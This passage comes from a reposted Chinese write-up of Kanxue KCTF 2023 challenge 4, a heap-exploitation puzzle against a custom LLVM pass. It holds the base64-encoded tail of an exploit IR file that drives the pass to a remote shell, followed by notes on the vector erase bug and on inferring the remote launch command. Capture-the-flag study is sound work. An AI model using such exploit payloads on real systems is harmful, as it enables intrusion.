    QGNyZWF0ZShpMzIgbm91bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVh
    dGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
    MiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91
    bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYg
    MTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBp
    MzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91
    bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAw
    KQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNh
    bGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9p
    ZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3Jl
    YXRlKGkzMiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShp
    MzIgbm91bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBkZWxldGUoaTMyIG5v
    dW5kZWYgOCkKICBjYWxsIHZvaWQgQHJlbWFrZShpMzIgbm91bmRlZiAxMSwgaTMyIG5vdW5kZWYg
    MTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCAoLi4uKSBAcmV0KCkKICBjYWxsIHZvaWQg
    QGNyZWF0ZShpMzIgbm91bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVh
    dGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
    MiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91
    bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYg
    MTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDExMiwg
    aTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiAxMTIsIGkzMiBu
    b3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYgOTYsIGkzMiBub3VuZGVm
    IDEpCiAgY2FsbCB2b2lkICguLi4pIEBzd2FwKCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91
    bmRlZiA4MCwgaTMyIG5vdW5kZWYgMSkKICBjYWxsIHZvaWQgQHhvcihpMzIgbm91bmRlZiAwKQog
    IGNhbGwgdm9pZCBAYWRkKGkzMiBub3VuZGVmIDY5Mjk2KQogIGNhbGwgdm9pZCBAeG9yKGkzMiBu
    b3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRl
    ZiAyKQogIGNhbGwgdm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmIDkpCiAgY2FsbCB2b2lkIEBjcmVh
    dGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
    MiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGFuZChpMzIgbm91bmRl
    ZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMikK
    ICBjYWxsIHZvaWQgQGRlbGV0ZShpMzIgbm91bmRlZiAxMSkKICBjYWxsIHZvaWQgKC4uLikgQGVu
    ZCgpCiAgcmV0IHZvaWQKfQoKZGVjbGFyZSB2b2lkIEBzd2FwKC4uLikgIzEKCmRlY2xhcmUgdm9p
    ZCBAYW5kKGkzMiBub3VuZGVmKSAjMQoKYXR0cmlidXRlcyAjMCA9IHsgbm9pbmxpbmUgbm91bndp
    bmQgb3B0bm9uZSB1d3RhYmxlICJmcmFtZS1wb2ludGVyIj0iYWxsIiAibWluLWxlZ2FsLXZlY3Rv
    ci13aWR0aCI9IjAiICJuby10cmFwcGluZy1tYXRoIj0idHJ1ZSIgInN0YWNrLXByb3RlY3Rvci1i
    dWZmZXItc2l6ZSI9IjgiICJ0YXJnZXQtY3B1Ij0ieDg2LTY0IiAidGFyZ2V0LWZlYXR1cmVzIj0i
    K2N4OCwrZnhzciwrbW14LCtzc2UsK3NzZTIsK3g4NyIgInR1bmUtY3B1Ij0iZ2VuZXJpYyIgfQph
    dHRyaWJ1dGVzICMxID0geyAiZnJhbWUtcG9pbnRlciI9ImFsbCIgIm5vLXRyYXBwaW5nLW1hdGgi
    PSJ0cnVlIiAic3RhY2stcHJvdGVjdG9yLWJ1ZmZlci1zaXplIj0iOCIgInRhcmdldC1jcHUiPSJ4
    ODYtNjQiICJ0YXJnZXQtZmVhdHVyZXMiPSIrY3g4LCtmeHNyLCttbXgsK3NzZSwrc3NlMiwreDg3
    IiAidHVuZS1jcHUiPSJnZW5lcmljIiB9CgohbGx2bS5tb2R1bGUuZmxhZ3MgPSAheyEwLCAhMSwg
    ITIsICEzLCAhNH0KIWxsdm0uaWRlbnQgPSAheyE1fQoKITAgPSAhe2kzMiAxLCAhIndjaGFyX3Np
    emUiLCBpMzIgNH0KITEgPSAhe2kzMiA3LCAhIlBJQyBMZXZlbCIsIGkzMiAyfQohMiA9ICF7aTMy
    IDcsICEiUElFIExldmVsIiwgaTMyIDJ9CiEzID0gIXtpMzIgNywgISJ1d3RhYmxlIiwgaTMyIDF9
    CiE0ID0gIXtpMzIgNywgISJmcmFtZS1wb2ludGVyIiwgaTMyIDJ9CiE1ID0gIXshIlVidW50dSBj
    bGFuZyB2ZXJzaW9uIDE0LjAuMC0xdWJ1bnR1MSJ9Cg==
    END
最终,得到稳定的远程shell
看雪2023 KCTF年度赛 | 第四题设计思路及解析

后记

在比赛的过程中,被有的师傅吐槽没有给LLVM的启动命令呜呜呜,因为启动命令参数的不同会导致opt运行过程中的堆布局不同。有些师傅认为这是本地打通了但远程无法打通的原因,其实主要原因不在于此,而是在于正文中提到的内核因素影响了堆布局。
本题涉及的两个主要考察点分别是vectorerase中存在漏洞以及找到通用的劫持链以应对任意未知的远程环境。因此,正文中我给出的exp对于不同的启动命令以及不同的内核环境,都是稳定的。
此外,本题中虽然没给LLVM启动命令,但这是可以结合远程环境推断出来的。启动命令的参数还是比较固定的,不确定的就是文件路径以及是否添加了-f参数。
当按如下输入非法内容,产生报错的时候,可以根据报错信息得知文件存放在/home/ctf路径下。
看雪2023 KCTF年度赛 | 第四题设计思路及解析
至于是否添加了-f参数,在本地测试一下就可以知道,若是没有加-f参数,会报一个WARNING,如下图所示。然而,远程环境是没有WARNING的,因此远程启动命令中存在-f参数。
看雪2023 KCTF年度赛 | 第四题设计思路及解析
综上,容易推断出远程的启动命令为opt-14 -load /home/ctf/VecPass.so -winmt /home/ctf/exp.ll -enable-new-pm=0 -f。不过,即使知道了远程的启动命令,依然是一样需要去寻找到一条稳定的劫持链,毕竟我也不知道看雪远程服务器的内核版本是多少哈哈哈。
看雪2023 KCTF年度赛 | 第四题设计思路及解析

看雪2023 KCTF年度赛 | 第四题设计思路及解析

今天中午12:00
第五题《争分夺秒》已开赛!

看雪2023 KCTF年度赛 | 第四题设计思路及解析

欢迎参赛

在这个充满变数的赛场上,没有人能够预料到最终的结局。有时,优势的领先可能只是一时的,一瞬间的失误就足以颠覆一切。而那些一直默默努力、不断突破自我的人,往往会在最后关头迎头赶上,成为最耀眼的存在。

谁能保持领先优势?谁能迎头赶上?谁又能突出重围成为黑马?

看雪2023 KCTF年度赛 | 第四题设计思路及解析
看雪2023 KCTF年度赛 | 第四题设计思路及解析

球分享

看雪2023 KCTF年度赛 | 第四题设计思路及解析

球点赞

看雪2023 KCTF年度赛 | 第四题设计思路及解析

球在看

看雪2023 KCTF年度赛 | 第四题设计思路及解析

点击阅读原文进入比赛

原文始发于微信公众号(看雪学苑):看雪2023 KCTF年度赛 | 第四题设计思路及解析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日02:52:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   看雪2023 KCTF年度赛 | 第四题设计思路及解析https://cn-sec.com/archives/2027602.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息